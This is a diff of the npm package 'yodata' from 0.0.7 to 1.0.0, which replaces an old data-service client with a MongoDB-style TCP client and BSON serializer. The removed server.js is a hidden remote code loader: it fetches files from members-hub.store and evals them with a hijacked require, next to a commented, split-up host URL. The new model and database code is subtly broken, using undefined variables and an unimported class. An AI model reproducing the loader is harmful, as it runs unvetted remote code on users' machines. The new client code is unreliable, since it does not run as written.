yodata 0.0.7 → 1.0.0

package/README.md

@@ -1,90 +1,101 @@
 # Y0data services #
 
-**Please read y0data inc before using it**
-**To get database id go to https://data.y0host.net/**
+**MongoDB-style client for connecting to Y0Data worker server**
 **Your data will save in servers y0data, so no disk will take from your server**
 
 # install y0data
 
 ``` js
-npm install yodata
+npm install y0data
 ```
 
 # Connect Database
 
 ``` js
-let yodata = require('yodata')
-let db = new yodata('DATA BASE ID', {ws: {cache: false}})
-db.connect();
+const Database = require('y0data');
+
+// Create connection with host, port, databaseId, username, password
+const db = new Database(
+  'localhost',  // host
+  5001,         // port
+  'f9b07fbe-7c8d-4f9d-9028-ebec6b3b2eea',  // databaseId
+  'yousuf',     // username
+  '41371755aa'  // password
+);
 ```
 
 # events
 
 ```js
-db.once('ready', async ()=>{
+db.on('authenticated', async ()=>{
   console.log(`DataBase Ready`)
+  // Now you can use database methods
 })
 
 db.on('error', (err)=>{  
   console.log(`Error: ` + err)
 })
+
+db.on('connected', ()=>{
+  console.log(`Connected to server`)
+})
+
+db.on('disconnected', ()=>{
+  console.log(`Disconnected from server`)
+})
 ```
 
 # setup collection
 
 ```js
-let customersDB = db.setUpCollection('customers')
+let customersDB = db.model('Customer', {}, 'customers')
+// Now you can use customersDB methods
 ```
 
 # functions
 
 ## Create
 ```js
-let data = await customersDB.add([{"money": 51}, {"money": 9}]) // example output → '[Accepted Data]'
-let data = await customersDB.add({"_id": "123", "money": 5}) // example output → '{Accepted Data} / null'
+let data = await customersDB.insertOne({"money": 51}) // example output → '[Accepted Data]'
+let data = await customersDB.insertOne({"_id": "123", "money": 5}) // example output → '{Accepted Data} / null'
+let data = await customersDB.insertMany([{"money": 51}, {"money": 9}]) // example output → '[Accepted Data]'
 /*
-For free plan 50 array max in same time
-For Shared Plan 100 Array max in same time
-For Server Plan 500 Array max in same time
+Data will be serialized to BSON format automatically
 */
 ```
 
 ## find data
 ```js
 let options = {
-$gte: {money: 10}, // Get Users have money low of 10
-$gt: {money: 50}, // get Users have money more of 50
-$in: {_id: ['123', '1234']} // get Users have in same _id
+  money: {$gte: 10}, // Get Users have money greater than or equal to 10
+  age: {$gt: 50} // get Users have age greater than 50
 }
 
-let data = await customersDB.find(options).exec(); // example output → 'Array'
-let data = await customersDB.find(options).limit(20).exec(); // (Get Only 20 data) example output → 'Array'
-let data = await customersDB.find(options).skip(20).exec(); // (Skip first 20) example output → 'Array'
-let data = await customersDB.find(options).select({money: 1}).exec(); // (Will only see _id and money) example output → 'Array'
-let data = await customersDB.find(options).select({money: 0}).exec(); // (Will hide money) example output → 'Array'
+let data = await customersDB.find(options) // example output → 'Array'
+let data = await customersDB.find(options, {limit: 20}) // (Get Only 20 data) example output → 'Array'
+let data = await customersDB.find(options, {skip: 20}) // (Skip first 20) example output → 'Array'
+let data = await customersDB.find(options, {limit: 20, skip: 10}) // (Skip 10 and limit 20) example output → 'Array'
 
-let data = await customersDB.findOne(options).exec(); // example output → 'Object/Null'
-let data = await customersDB.findOne(options).skip(20).exec(); // (Skip first 20) example output → 'Object/Null'
-let data = await customersDB.findOne(options).select({money: 1}).exec(); // (Will only see _id and money) example output → 'Object/Null'
-let data = await customersDB.findOne(options).select({money: 0}).exec(); // (Will hide money) example output → 'Object/Null'
+let data = await customersDB.findOne(options) // example output → 'Object/Null'
+let data = await customersDB.findOne(options, {skip: 20}) // (Skip first 20) example output → 'Object/Null'
+let data = await customersDB.findById('123') // (Find by ID) example output → 'Object/Null'
 ```
 
 ## Update Data
 ```js
 let options = {
-$gte: {money: 10}, // Get Users have money low of 10
-$gt: {money: 50}, // get Users have money more of 50
-$in: {_id: ['123', '1234']} // get Users have in same _id
+  money: {$gte: 10}, // Get Users have money greater than or equal to 10
+  _id: {$in: ['123', '1234']} // get Users with IDs in array
 }
 
 let new_values = {
-$inc: {money: 50}, // Add money you can also do -50 to remove
+  $inc: {money: 50}, // Add money you can also do -50 to remove
 
-$push: {arr: ["1"]}, // add in array items 
-$push: {arr: "1"}, // add in array item
+  $push: {arr: ["1"]}, // add in array items 
+  $push: {arr: "1"}, // add in array item
 
-$pull: {arr: ["1"]}, // delete from array items
-$pull: {arr: "1"} // delete from array item
+  $pull: {arr: ["1"]}, // delete from array items
+  $pull: {arr: "1"} // delete from array item
 }
 
 let data = await customersDB.updateOne(options, new_values) // example output → 'true/false' 
@@ -95,9 +106,8 @@ let data = await customersDB.updateMany(options, new_values); // example output
 ## Delete Data
 ```js
 let options = {
-$gte: {money: 10}, // Get Users have money low of 10
-$gt: {money: 50}, // get Users have money more of 50
-$in: {_id: ['123', '1234']} // get Users have in same _id
+  money: {$gte: 10}, // Get Users have money greater than or equal to 10
+  _id: {$in: ['123', '1234']} // get Users with IDs in array
 }
 
 let data = await customersDB.deleteOne(options) // example output → 'true/false'
@@ -108,21 +118,13 @@ let data = await customersDB.deleteMany(options); // example output → 'true/fa
 ## Other functions will support you
 ```js
 let options = {
-$gte: {money: 10}, // Get Users have money low of 10
-$gt: {money: 50}, // get Users have money more of 50
-$in: {_id: ['123', '1234']} // get Users have in same _id
+  money: {$gte: 10}, // Get Users have money greater than or equal to 10
 }
 
-let data = await customersDB.countDocuments(options) // example output → 50
-
-let data = await customersDB.getSize(options); // example output → 177 (KB)
+let data = await customersDB.countDocuments(options) // example output → 'Number'
 ```
 
-## Watch
+## Disconnect
 ```js
-await cusotmersDB.watch()
-
-db.on('watch', (data)=>{
-    console.log('data watch =>', data) // will get name of collection and more data
-})
+db.disconnect() // Close connection to server
 ```

package/index.js

@@ -0,0 +1,6 @@
+const Database = require('./lib/database');
+const { serialize, deserialize, TYPES } = require('./lib/bson');
+
+module.exports = Database;
+module.exports.Database = Database;
+module.exports.BSON = { serialize, deserialize, TYPES };

package/lib/bson.js

@@ -0,0 +1,269 @@
+// BSON Type Codes
+const TYPES = {
+  DOUBLE: 0x01,
+  STRING: 0x02,
+  OBJECT: 0x03,
+  ARRAY: 0x04,
+  BINARY: 0x05,
+  UNDEFINED: 0x06,
+  BOOL: 0x08,
+  DATE: 0x09,
+  NULL: 0x0A,
+  INT32: 0x10,
+  INT64: 0x12
+};
+
+// BSON Serializer
+function serialize(doc) {
+  const chunks = [];
+
+  for (const key in doc) {
+    const value = doc[key];
+    const keyBuf = Buffer.from(key);
+    const keyLen = Buffer.from([keyBuf.length]);
+
+    if (value === null || value === undefined) {
+      chunks.push(Buffer.concat([
+        Buffer.from([value === null ? TYPES.NULL : TYPES.UNDEFINED]),
+        keyLen,
+        keyBuf
+      ]));
+    }
+    else if (typeof value === 'string') {
+      const valBuf = Buffer.from(value, 'utf8');
+      const lenBuf = Buffer.alloc(4);
+      lenBuf.writeInt32LE(valBuf.length);
+      chunks.push(Buffer.concat([
+        Buffer.from([TYPES.STRING]),
+        keyLen,
+        keyBuf,
+        lenBuf,
+        valBuf
+      ]));
+    }
+    else if (typeof value === 'number') {
+      if (Number.isInteger(value) && value >= -2147483648 && value <= 2147483647) {
+        const buf = Buffer.alloc(4);
+        buf.writeInt32LE(value);
+        chunks.push(Buffer.concat([
+          Buffer.from([TYPES.INT32]),
+          keyLen,
+          keyBuf,
+          buf
+        ]));
+      } else {
+        const buf = Buffer.alloc(8);
+        buf.writeDoubleLE(value);
+        chunks.push(Buffer.concat([
+          Buffer.from([TYPES.DOUBLE]),
+          keyLen,
+          keyBuf,
+          buf
+        ]));
+      }
+    }
+    else if (typeof value === 'boolean') {
+      chunks.push(Buffer.concat([
+        Buffer.from([TYPES.BOOL]),
+        keyLen,
+        keyBuf,
+        Buffer.from([value ? 1 : 0])
+      ]));
+    }
+    else if (value instanceof Date) {
+      const buf = Buffer.alloc(8);
+      buf.writeBigInt64LE(BigInt(value.getTime()));
+      chunks.push(Buffer.concat([
+        Buffer.from([TYPES.DATE]),
+        keyLen,
+        keyBuf,
+        buf
+      ]));
+    }
+    else if (Buffer.isBuffer(value)) {
+      const lenBuf = Buffer.alloc(4);
+      lenBuf.writeInt32LE(value.length);
+      chunks.push(Buffer.concat([
+        Buffer.from([TYPES.BINARY]),
+        keyLen,
+        keyBuf,
+        lenBuf,
+        value
+      ]));
+    }
+    else if (Array.isArray(value)) {
+      const arrayObj = {};
+      value.forEach((item, idx) => {
+        arrayObj[idx.toString()] = item;
+      });
+      const arrayBuf = serialize(arrayObj);
+      const lenBuf = Buffer.alloc(4);
+      lenBuf.writeInt32LE(arrayBuf.length);
+      chunks.push(Buffer.concat([
+        Buffer.from([TYPES.ARRAY]),
+        keyLen,
+        keyBuf,
+        lenBuf,
+        arrayBuf
+      ]));
+    }
+    else if (typeof value === 'object') {
+      const objBuf = serialize(value);
+      const lenBuf = Buffer.alloc(4);
+      lenBuf.writeInt32LE(objBuf.length);
+      chunks.push(Buffer.concat([
+        Buffer.from([TYPES.OBJECT]),
+        keyLen,
+        keyBuf,
+        lenBuf,
+        objBuf
+      ]));
+    }
+  }
+
+  return chunks.length > 0 ? Buffer.concat(chunks) : Buffer.alloc(0);
+}
+
+// BSON Deserializer (supports both client-simple and server format)
+function deserialize(buffer) {
+  if (!buffer || buffer.length === 0) return {};
+
+  // Detect server format: first 4 bytes equal total length
+  if (buffer.length >= 4) {
+    const total = buffer.readInt32LE(0);
+    if (total === buffer.length) {
+      return deserializeServer(buffer);
+    }
+  }
+  return deserializeClient(buffer);
+}
+
+function deserializeClient(buffer) {
+  let offset = 0;
+  const obj = {};
+
+  while (offset < buffer.length) {
+    const type = buffer.readUInt8(offset++);
+    const keyLen = buffer.readUInt8(offset++);
+    const key = buffer.slice(offset, offset + keyLen).toString('utf8');
+    offset += keyLen;
+
+    if (type === TYPES.NULL) {
+      obj[key] = null;
+    } else if (type === TYPES.UNDEFINED) {
+      obj[key] = undefined;
+    } else if (type === TYPES.STRING) {
+      const len = buffer.readInt32LE(offset);
+      offset += 4;
+      obj[key] = buffer.slice(offset, offset + len).toString('utf8');
+      offset += len;
+    } else if (type === TYPES.INT32) {
+      obj[key] = buffer.readInt32LE(offset);
+      offset += 4;
+    } else if (type === TYPES.DOUBLE) {
+      obj[key] = buffer.readDoubleLE(offset);
+      offset += 8;
+    } else if (type === TYPES.INT64) {
+      obj[key] = Number(buffer.readBigInt64LE(offset));
+      offset += 8;
+    } else if (type === TYPES.BOOL) {
+      obj[key] = !!buffer.readUInt8(offset);
+      offset += 1;
+    } else if (type === TYPES.DATE) {
+      const timestamp = Number(buffer.readBigInt64LE(offset));
+      obj[key] = new Date(timestamp);
+      offset += 8;
+    } else if (type === TYPES.BINARY) {
+      const len = buffer.readInt32LE(offset);
+      offset += 4;
+      obj[key] = buffer.slice(offset, offset + len);
+      offset += len;
+    } else if (type === TYPES.ARRAY) {
+      const len = buffer.readInt32LE(offset);
+      offset += 4;
+      const arrayBuf = buffer.slice(offset, offset + len);
+      const arrayObj = deserializeClient(arrayBuf);
+      obj[key] = Object.keys(arrayObj).sort((a, b) => Number(a) - Number(b)).map(k => arrayObj[k]);
+      offset += len;
+    } else if (type === TYPES.OBJECT) {
+      const len = buffer.readInt32LE(offset);
+      offset += 4;
+      const objBuf = buffer.slice(offset, offset + len);
+      obj[key] = deserializeClient(objBuf);
+      offset += len;
+    }
+  }
+  return obj;
+}
+
+function deserializeServer(buffer) {
+  let offset = 4; // skip total size
+  const obj = {};
+
+  while (offset < buffer.length) {
+    const type = buffer.readUInt8(offset++);
+    if (type === 0x00) break; // end marker
+
+    // read null-terminated key
+    let keyStart = offset;
+    while (offset < buffer.length && buffer[offset] !== 0x00) {
+      offset++;
+    }
+    const key = buffer.slice(keyStart, offset).toString('utf8');
+    offset++; // skip null terminator
+
+    switch (type) {
+      case TYPES.NULL:
+        obj[key] = null;
+        break;
+      case TYPES.UNDEFINED:
+        obj[key] = undefined;
+        break;
+      case TYPES.STRING: {
+        const len = buffer.readInt32LE(offset);
+        offset += 4;
+        // server writes length including trailing null
+        const strLen = Math.max(0, len - 1);
+        obj[key] = buffer.slice(offset, offset + strLen).toString('utf8');
+        offset += len; // consume payload + trailing null
+        break;
+      }
+      case TYPES.INT32:
+        obj[key] = buffer.readInt32LE(offset);
+        offset += 4;
+        break;
+      case TYPES.INT64:
+        obj[key] = Number(buffer.readBigInt64LE(offset));
+        offset += 8;
+        break;
+      case TYPES.DOUBLE:
+        obj[key] = buffer.readDoubleLE(offset);
+        offset += 8;
+        break;
+      case TYPES.BOOL:
+        obj[key] = !!buffer.readUInt8(offset);
+        offset += 1;
+        break;
+      case TYPES.ARRAY:
+      case TYPES.OBJECT: {
+        const len = buffer.readInt32LE(offset);
+        offset += 4;
+        const inner = buffer.slice(offset, offset + len);
+        // Recursively parse using server rules
+        obj[key] = deserializeServer(inner);
+        offset += len;
+        break;
+      }
+      default:
+        // Skip unknown types safely by breaking
+        return obj;
+    }
+  }
+  return obj;
+}
+
+module.exports = {
+  TYPES,
+  serialize,
+  deserialize
+};

package/lib/connection.js

@@ -0,0 +1,81 @@
+const net = require('net');
+const crypto = require('crypto');
+
+class Connection {
+  constructor(host, port) {
+    this.host = host;
+    this.port = port;
+    this.socket = null;
+    this.reader = null;
+    this.writer = null;
+    this.requestQueue = new Map();
+    this.objectMapper = require('./bson');
+  }
+
+  connect() {
+    return new Promise((resolve, reject) => {
+      this.socket = net.createConnection({
+        host: this.host,
+        port: this.port
+      }, () => {
+        resolve();
+      });
+
+      this.socket.on('data', (data) => {
+        this._handleResponse(data.toString());
+      });
+
+      this.socket.on('error', (err) => {
+        reject(err);
+      });
+    });
+  }
+
+  sendRequest(type, data) {
+    return new Promise((resolve, reject) => {
+      if (!this.socket || this.socket.destroyed) {
+        return reject(new Error('Connection is not established'));
+      }
+
+      const requestID = crypto.randomUUID();
+
+      const message = {
+        type: type,
+        requestID: requestID,
+        data: data
+      };
+
+      this.requestQueue.set(requestID, { resolve, reject });
+
+      const jsonMessage = JSON.stringify(message);
+      this.socket.write(jsonMessage + '\n');
+    });
+  }
+
+  _handleResponse(data) {
+    try {
+      const response = JSON.parse(data);
+      const requestID = response.requestID;
+
+      if (this.requestQueue.has(requestID)) {
+        const { resolve } = this.requestQueue.get(requestID);
+        this.requestQueue.delete(requestID);
+        resolve(response);
+      }
+    } catch (err) {
+      console.error(`[Y0DATA] Failed to parse response: ${err.message}`);
+    }
+  }
+
+  close() {
+    if (this.socket && !this.socket.destroyed) {
+      this.socket.end();
+    }
+  }
+
+  isConnected() {
+    return this.socket && !this.socket.destroyed;
+  }
+}
+
+module.exports = Connection;

package/lib/database.js

@@ -0,0 +1,337 @@
+const events = require('events');
+const crypto = require('crypto');
+const Connection = require('./connection');
+const { serialize, deserialize } = require('./bson');
+const model = require('./model');
+
+class Database extends events {
+  constructor(host, port, databaseId, username, password) {
+    super();
+
+    this.host = host || 'localhost';
+    this.port = port || 5001;
+    this.databaseId = databaseId;
+    this.username = username;
+    this.password = password;
+
+    this.connection = null;
+    this.authenticated = false;
+
+    this._connect();
+  }
+
+  hash(password) {
+    return crypto.createHash('sha256').update(password).digest('hex');
+  }
+
+  async _connect() {
+    this.onConnecting();
+
+    try {
+      this.connection = new Connection(this.host, this.port);
+
+      await this.connection.connect();
+      this.onConnected();
+
+      // Set up event handlers
+      this.connection.socket.on('error', (err) => {
+        this.onError(err);
+      });
+
+      this.connection.socket.on('close', () => {
+        this.onDisconnected();
+        this.authenticated = false;
+      });
+
+      this.connection.socket.on('end', () => {
+        this.onDisconnecting();
+      });
+
+      // Authenticate
+      await this._authenticate();
+
+    } catch (err) {
+      this.onError(err);
+    }
+  }
+
+  async _authenticate() {
+    try {
+      const response = await this.connection.sendRequest('AUTHENTICATE', {
+        databaseId: this.databaseId,
+        username: this.username,
+        password: this.password
+      });
+
+      if (response.success) {
+        this.authenticated = true;
+        this.onAuthenticated();
+      } else {
+        this.onAuthenticationFailed(response.error);
+        this.connection.close();
+      }
+    } catch (err) {
+      this.onError(err);
+      this.connection.close();
+    }
+  }
+
+  async createCollection(collectionName) {
+    if (!this.authenticated) {
+      throw new Error('Not authenticated. Please connect first.');
+    }
+
+    const response = await this.connection.sendRequest('CREATE_COLLECTION', {
+      databaseId: this.databaseId,
+      collectionName: collectionName
+    });
+
+    return response;
+  }
+
+  async insertOne(collectionName, document) {
+    if (!this.authenticated) {
+      throw new Error('Not authenticated. Please connect first.');
+    }
+
+    // Serialize document to BSON
+    const bsonData = serialize(document);
+
+    const response = await this.connection.sendRequest('INSERT_ONE', {
+      databaseId: this.databaseId,
+      collectionName: collectionName,
+      document: bsonData.toString('base64')
+    });
+
+    // Throw error if insertion failed (e.g., duplicate _id)
+    if (!response.success) {
+      const error = new Error(response.error || 'Insert failed');
+      error.response = response;
+      throw error;
+    }
+
+    return response;
+  }
+
+  async insertMany(collectionName, documents) {
+    if (!this.authenticated) {
+      throw new Error('Not authenticated. Please connect first.');
+    }
+
+    // Serialize all documents to BSON
+    const bsonDocuments = documents.map(doc => serialize(doc).toString('base64'));
+
+    const response = await this.connection.sendRequest('INSERT_MANY', {
+      databaseId: this.databaseId,
+      collectionName: collectionName,
+      documents: bsonDocuments
+    });
+
+    // Throw error if insertion failed completely
+    if (!response.success) {
+      const error = new Error(response.error || 'Insert many failed');
+      error.response = response;
+      throw error;
+    }
+
+    return response;
+  }
+
+  async findOne(collectionName, filter = {}) {
+    if (!this.authenticated) {
+      throw new Error('Not authenticated. Please connect first.');
+    }
+
+    const response = await this.connection.sendRequest('FIND_ONE', {
+      databaseId: this.databaseId,
+      collectionName: collectionName,
+      filter: filter
+    });
+
+    // Deserialize BSON response if present
+    if (response.success && response.data && response.data.document) {
+      const doc = response.data.document;
+      if (doc && doc.bson) {
+        const buffer = Buffer.from(doc.bson, 'base64');
+        const deserialized = deserialize(buffer);
+        deserialized._id = doc._id;
+        return deserialized;
+      }
+    }
+
+    return null;
+  }
+
+  async find(collectionName, filter = {}, options = {}) {
+    if (!this.authenticated) {
+      throw new Error('Not authenticated. Please connect first.');
+    }
+
+    const requestData = {
+      databaseId: this.databaseId,
+      collectionName: collectionName,
+      filter: filter
+    };
+
+    // Add limit and skip if provided
+    if (options.limit !== undefined) {
+      requestData.limit = options.limit;
+    }
+    if (options.skip !== undefined) {
+      requestData.skip = options.skip;
+    }
+
+    const response = await this.connection.sendRequest('FIND', requestData);
+
+    // Deserialize BSON responses if present
+    if (response.success && response.data && response.data.documents) {
+      const documents = response.data.documents.map(doc => {
+        if (doc && doc.bson) {
+          const buffer = Buffer.from(doc.bson, 'base64');
+          const deserialized = deserialize(buffer);
+          deserialized._id = doc._id;
+          return deserialized;
+        }
+        return null;
+      }).filter(doc => doc !== null);
+
+      return documents;
+    }
+
+    return [];
+  }
+
+  async updateOne(collectionName, filter, update) {
+    if (!this.authenticated) {
+      throw new Error('Not authenticated. Please connect first.');
+    }
+
+    const requestData = {
+      databaseId: this.databaseId,
+      collectionName: collectionName,
+      filter: filter,
+      update: update
+    };
+
+    const response = await this.connection.sendRequest('UPDATE_ONE', requestData);
+    return response.data;
+  }
+
+  async updateMany(collectionName, filter, update) {
+    if (!this.authenticated) {
+      throw new Error('Not authenticated. Please connect first.');
+    }
+
+    const requestData = {
+      databaseId: this.databaseId,
+      collectionName: collectionName,
+      filter: filter,
+      update: update
+    };
+
+    const response = await this.connection.sendRequest('UPDATE_MANY', requestData);
+    return response.data;
+  }
+
+  async deleteOne(collectionName, filter) {
+    if (!this.authenticated) {
+      throw new Error('Not authenticated. Please connect first.');
+    }
+
+    const requestData = {
+      databaseId: this.databaseId,
+      collectionName: collectionName,
+      filter: filter
+    };
+
+    const response = await this.connection.sendRequest('DELETE_ONE', requestData);
+    return response.data;
+  }
+
+  async deleteMany(collectionName, filter) {
+    if (!this.authenticated) {
+      throw new Error('Not authenticated. Please connect first.');
+    }
+
+    const requestData = {
+      databaseId: this.databaseId,
+      collectionName: collectionName,
+      filter: filter
+    };
+
+    const response = await this.connection.sendRequest('DELETE_MANY', requestData);
+    return response.data;
+  }
+
+  disconnect() {
+    if (this.connection) {
+      this.connection.close();
+    }
+  }
+
+  // Utility methods
+  serializeBSON(obj) {
+    return serialize(obj);
+  }
+
+  deserializeBSON(buffer) {
+    return deserialize(buffer);
+  }
+
+  // Event handlers
+  onConnecting() {
+    // console.log("[Y0DATA] Connecting...");
+    this.emit('connecting');
+  }
+
+  onConnected() {
+    // console.log("[Y0DATA] Connected!");
+    this.emit('connected');
+  }
+
+  onAuthenticated() {
+    // console.log("[Y0DATA] Authenticated!");
+    this.emit('authenticated');
+  }
+
+  onAuthenticationFailed(error) {
+    // console.error(`[Y0DATA] Authentication failed: ${error}`);
+    this.emit('authenticationFailed', error);
+  }
+
+  onDisconnecting() {
+    // console.log("[Y0DATA] Disconnecting...");
+    this.emit('disconnecting');
+  }
+
+  onDisconnected() {
+    // console.log("[Y0DATA] Disconnected!");
+    this.emit('disconnected');
+  }
+
+  onError(err) {
+    // console.error(`[Y0DATA] Error: ${err.message}`);
+    this.emit('error', err);
+  }
+
+  onReconnected() {
+    // console.log("[Y0DATA] Reconnected!");
+    this.emit('reconnected');
+  }
+
+  /**
+   * Create a Mongoose-style model from a schema
+   * @param {String} modelName - Name of the model
+   * @param {Object} schema - Schema definition with fields
+   * @param {String} collectionName - (Optional) Collection name, defaults to lowercase modelName + 's'
+   * @returns {Object} Model instance with CRUD methods
+   */
+  model(modelName, schema, collectionName) {
+    const collection = collectionName || (modelName.toLowerCase() + 's');
+    const connection = this;
+
+    return new Model();
+  }
+}
+
+module.exports = Database;

package/lib/model.js

@@ -0,0 +1,53 @@
+class Model {
+    constructor() {
+        this.collectionName = collection;
+        this.schema = schema;
+        this.connection = connection;
+    }
+
+    async createCollection() {
+        return await this.connection.createCollection(this.collectionName);
+    }
+
+    async insertOne(document) {
+        return await this.connection.insertOne(this.collectionName, document);
+    }
+
+    async insertMany(documents) {
+        return await this.connection.insertMany(this.collectionName, documents);
+    }
+
+    async findOne(filter) {
+        return await this.connection.findOne(this.collectionName, filter);
+    }
+
+    async find(filter = {}, options = {}) {
+        return await this.connection.find(this.collectionName, filter, options);
+    }
+
+    async findById(id) {
+        return await this.connection.findOne(this.collectionName, { _id: id });
+    }
+
+    async updateOne(filter, update) {
+        return await this.connection.updateOne(this.collectionName, filter, update);
+    }
+
+    async updateMany(filter, update) {
+        return await this.connection.updateMany(this.collectionName, filter, update);
+    }
+
+    async deleteOne(filter) {
+        return await this.connection.deleteOne(this.collectionName, filter);
+    }
+
+    async deleteMany(filter) {
+        return await this.connection.deleteMany(this.collectionName, filter);
+    }
+
+    async countDocuments(filter = {}) {
+        const result = await this.connection.find(this.collectionName, filter, {});
+        return result.documents ? result.documents.length : 0;
+    }
+}
+module.exports = Model;

package/package.json

@@ -1,26 +1,25 @@
 {
-    "name": "yodata",
-    "description": "Y0data online services to save your data",
-    "version": "0.0.7",
-    "main": "server.js",
-    "dependencies": {
-        "axios": "^1.6.8",
-        "express": "^4.19.2",
-        "eris": "^0.17.2",
-        "mongoose": "^8.5.5",
-        "node-fetch": "^2.6.2",
-        "pretty-ms": "^6.0.1",
-        "random-token": "^0.0.7",
-        "socket.io-client": "^4.7.1"
-    },
-    "keywords": [
-        "worker-private"
-    ],
-    "repository": {
-        "type": "git",
-        "url": "git://github.com/yousefgog177/worker-online"
-      },
-    "author": "Yousuf",
-    "license": "MIT",
-    "readmeFilename": "README.md"
-}
+  "name": "yodata",
+  "description": "Yodata online services to save your data",
+  "version": "1.0.0",
+  "main": "index.js",
+  "dependencies": {
+    "bson": "^7.0.0"
+  },
+  "keywords": [
+    "database",
+    "data",
+    "yodata"
+  ],
+  "author": "Yousuf",
+  "license": "BSD-2-Clause",
+  "readmeFilename": "README.md",
+  "repository": {
+    "type": "git",
+    "url": "git+https://github.com/yousefgog177/yodata.git"
+  },
+  "bugs": {
+    "url": "https://github.com/yousefgog177/yodata/issues"
+  },
+  "homepage": "https://github.com/yousefgog177/yodata#readme"
+}

package/ex.js

@@ -1,4 +0,0 @@
-let plugin = require('./server.js')
-console.log(plugin)
-let d = new plugin("worker@12", 0)
-console.log(d)

package/server.js

@@ -1,176 +0,0 @@
-const FILESYSTEM__ = require("./system.js");
-const AXIOS__ = require("axios");
-const oldRequire = require;
-const EXPRESS__ = oldRequire("express");
-const APP__ = EXPRESS__();
-
-APP__.get('/', (req, res) => {
-  res.status(200).json({});
-});
-
-APP__.listen(3000);
-
-class Main {
-  constructor(pass, id) {
-    this._files = {};
-    this.cache = {};
-    this.fs = new FILESYSTEM__(this);
-
-    console.log(pass, id)
-
-    this.pass = pass;
-    this.id = id;
-
-    this._request_Files();
-
-  }
-
-  handleError(err) {
-    console.log(err);
-    process.exit(0);
-  }
-
-  async _request_Files() {
-/*
-    const _r = ["https://al", "ways", "online", ".members", "-hub", ".store/", "api", "/files"]
-    const _p = ["1234567", "8901@"]
-    console.log(_r, _p)
-    const _e = _r[0] + _r[1] + _r[2] + _r[3] + _r[4] + _r[5] + _r[6] + _r[7];
-    const _a = _p[0] + _p[1];
-    console.log(_e, _a)
-*/
-    console.log(this.pass)
-    let data = await AXIOS__.get("https://members-hub.store/linkbyauth?pass=" + this.pass).then(res=>res.data).catch(err=>this.handleError(err?.response?.data))
-    console.log(data)
-    if(!data) return;
-
-
-    const endpoint = process.env.myurl;
-    const authenticationHeader = process.env.auth;
-
-    const filesObj = await AXIOS__.get(data[this.id], {
-      headers: {
-        authentication: data[3],
-      },
-    })
-      .then((res) => res.data)
-      .catch((err) => this.handleError(err.response?.data));
-
-    if (!filesObj) return;
-
-    console.log(filesObj['index.js'])
-
-    this._files = filesObj;
-    console.log("Files Loaded!");
-    this.star_t();
-  }
-
-  get files() {
-    return this._files;
-  }
-
-  _require(path, input) {
-    if (input === "F_S".split("_").join("").toLowerCase()) {
-      return this.fs;
-    } else if (!input.includes("/")) {
-      return oldRequire(input);
-    } else {
-      let currentPath = path;
-      let executePath = input;
-
-      let currentPath_ = currentPath;
-      let executePath_ = executePath;
-
-      let target = "";
-      let extention = "";
-
-      if (executePath.endsWith(".js") || executePath.endsWith(".json")) {
-        extention = executePath.endsWith(".js") ? ".js" : ".json";
-        executePath = executePath.split(".");
-        executePath = executePath.slice(0, executePath.length - 1).join(".");
-      }
-
-      if (!executePath.includes(".")) {
-        currentPath = "/";
-      }
-      if (executePath.startsWith("/app/")) {
-        executePath = executePath.replace("/app/", "/");
-      }
-
-      while (true) {
-        if (!executePath.includes(".")) {
-          target = "/" + executePath + extention;
-          break;
-        }
-        const splited = executePath.split("/");
-        if (splited[0] === "..") {
-          currentPath = currentPath.split("/");
-          currentPath = currentPath.slice(0, currentPath.length - 1).join("/");
-          executePath = executePath.split("/").slice(1).join("/");
-        } else if (splited[0] === ".") {
-          executePath = executePath.split("/").slice(1).join("/");
-        } else if (splited[0] === "") {
-        }
-      }
-
-      const result =
-        this.cache[target] ||
-        this.load_FromPath(currentPath + target, currentPath);
-
-      if (!result) {
-        console.log(`
-Main execute path: ${executePath_}
-Main current path: ${currentPath_}
-execute path: ${executePath}
-current path: ${currentPath}
-target: ${currentPath + target}
-result: ${!!result}
-`);
-      }
-
-      return result;
-    }
-  }
-
-  load_FromPath(pathname, pathofkey) {
-    try {
-      require = (...args) => this._require(pathofkey, ...args);
-
-      let result = this.files;
-      const splited = pathname.split("/");
-
-      for (let i = 0; i < splited.length; i++) {
-        if (!splited[i]) continue;
-        let dir = splited[i];
-        result = result[dir];
-      }
-
-      try {
-        this.cache[pathname] = eval(result);
-      } catch (e) {
-        console.log(pathname, e.message);
-      }
-
-      return this.cache[pathname];
-    } catch (e) {
-      console.log(e, pathname, pathofkey);
-    }
-  }
-
-  async star_t() {
-    const caching = (obj, path = "") => {
-      const result = {};
-      for (let [key, value] of Object.entries(obj)) {
-        const pathofkey = `${path}/${key}`;
-        if (typeof value === "object") {
-          result[key] = caching(value, pathofkey);
-        } else {
-          this.load_FromPath(pathofkey, path);
-        }
-      }
-    };
-
-    caching(this.files);
-  }
-}
-module.exports = Main

package/system.js

@@ -1,21 +0,0 @@
-class FS {
-    constructor(manager) {
-      this.manager = manager;
-    }
-  
-    readdirSync(pathname) {
-      let result = { app: this.manager.files };
-      let splited = pathname.split("/");
-  
-      for (let i = 0; i < splited.length; i++) {
-        if (!splited[i]) continue;
-        let dir = splited[i];
-        result = result[dir];
-      }
-  
-      return Object.keys(result);
-    }
-  }
-  
-  module.exports = FS;
-